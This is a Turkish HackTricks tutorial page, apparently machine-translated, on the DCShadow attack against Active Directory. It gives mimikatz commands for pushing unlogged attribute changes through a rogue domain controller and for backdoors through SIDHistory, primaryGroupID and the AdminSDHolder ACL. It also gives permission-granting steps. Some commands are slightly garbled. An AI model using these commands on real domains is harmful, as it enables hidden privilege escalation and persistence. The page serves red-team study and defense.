hacktricks/windows-hardening/active-directory-methodology/dcshadow.md
2024-02-10 18:14:16 +00:00

7 KiB
Raw Blame History

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

DCShadow

Bu, AD'de bir yeni Etki Alanı Denetleyicisi kaydeder ve belirtilen nesneler üzerinde (SIDHistory, SPN'ler...) özellikleri itmek için kullanırken herhangi bir değişiklik hakkında günlük bırakmadan kullanır. DA ayrıcalıklarına ve kök etki alanı içinde olmanız gerekmektedir.
Yanlış veri kullanırsanız, oldukça kötü günlükler ortaya çıkacaktır.

Saldırıyı gerçekleştirmek için 2 mimikatz örneğine ihtiyacınız vardır. Bunlardan biri, SYSTEM ayrıcalıklarıyla RPC sunucularını başlatacak (burada yapmak istediğiniz değişiklikleri belirtmelisiniz) ve diğer örnek değerleri itmek için kullanılacaktır:

{% code title="mimikatz1 (RPC sunucuları)" %}

!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"

{% code title="mimikatz2 (push) - DA veya benzeri yetkiye ihtiyaç duyar" %}

lsadump::dcshadow /push

{% endcode %}

elevate::token'un mimikatz1 oturumunda çalışmayacağını unutmayın, çünkü bu işlem yalnızca iş parçacığının ayrıcalıklarını yükseltir, ancak işlemin ayrıcalığını yükseltmemiz gerekmektedir.
Ayrıca "LDAP" nesnesini seçebilirsiniz: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

Bu değişiklikleri DA (Domain Admin) veya bu en düşük izinlere sahip bir kullanıcıdan yapabilirsiniz:

  • Domain nesnesi içinde:
  • DS-Install-Replica (Alan İçinde Kopya Ekle/Kaldır)
  • DS-Replication-Manage-Topology (Replikasyon Topolojisini Yönet)
  • DS-Replication-Synchronize (Replikasyon Senkronizasyonu)
  • Yapılandırma konteynırı içindeki Sites nesnesi (ve alt nesneleri):
  • CreateChild ve DeleteChild
  • DC olarak kaydedilmiş olan bilgisayarın nesnesi:
  • WriteProperty (Yazma değil)
  • Hedef nesne:
  • WriteProperty (Yazma değil)

Bu ayrıcalıkları ayrıcalıksız bir kullanıcıya vermek için Set-DCShadowPermissions komutunu kullanabilirsiniz (bu işlem bazı loglar bırakacaktır). Bu, DA (Domain Admin) ayrıcalıklarına sahip olmaktan çok daha kısıtlayıcıdır.
Örneğin: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Bu, student1 kullanıcı adına sahip olan mcorp-student1 makinesinde oturum açıldığında root1user nesnesi üzerinde DCShadow izinlerine sahip olduğu anlamına gelir.

DCShadow kullanarak arka kapılar oluşturma

{% code title="SIDHistory'de bir kullanıcıya Enterprise Admins atama" %}

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

{% code title="PrimaryGroupID'yi Değiştirin (kullanıcıyı Domain Yöneticileri üyesi yapın)" %}

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

{% code title="AdminSDHolder'ın ntSecurityDescriptor'ını değiştirin (bir kullanıcıya Tam Denetim verin)" %}

#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

{% endcode %}

Shadowception - DCShadow kullanarak DCShadow izinleri verme (değiştirilmiş izin günlükleri olmadan)

Aşağıdaki ACE'leri kullanıcının SID'siyle birlikte eklememiz gerekiyor:

  • Etki alanı nesnesi üzerinde:
  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • Saldırgan bilgisayar nesnesi üzerinde: (A;;WP;;;UserSID)
  • Hedef kullanıcı nesnesi üzerinde: (A;;WP;;;UserSID)
  • Yapılandırma konteynerindeki Siteler nesnesi üzerinde: (A;CI;CCDC;;;UserSID)

Bir nesnenin mevcut ACE'sini almak için: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

Dikkat edin, bu durumda sadece bir tane değil, birkaç değişiklik yapmanız gerekiyor. Bu nedenle, mimikatz1 oturumu (RPC sunucusu) içinde her değişiklik için /stack parametresini kullanın. Bu şekilde, tüm takılan değişiklikleri tek bir /push işlemiyle gerçekleştirmek için yeterli olacaktır.

DCShadow hakkında daha fazla bilgi için ired.team.

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile öğrenin!

HackTricks'i desteklemenin diğer yolları: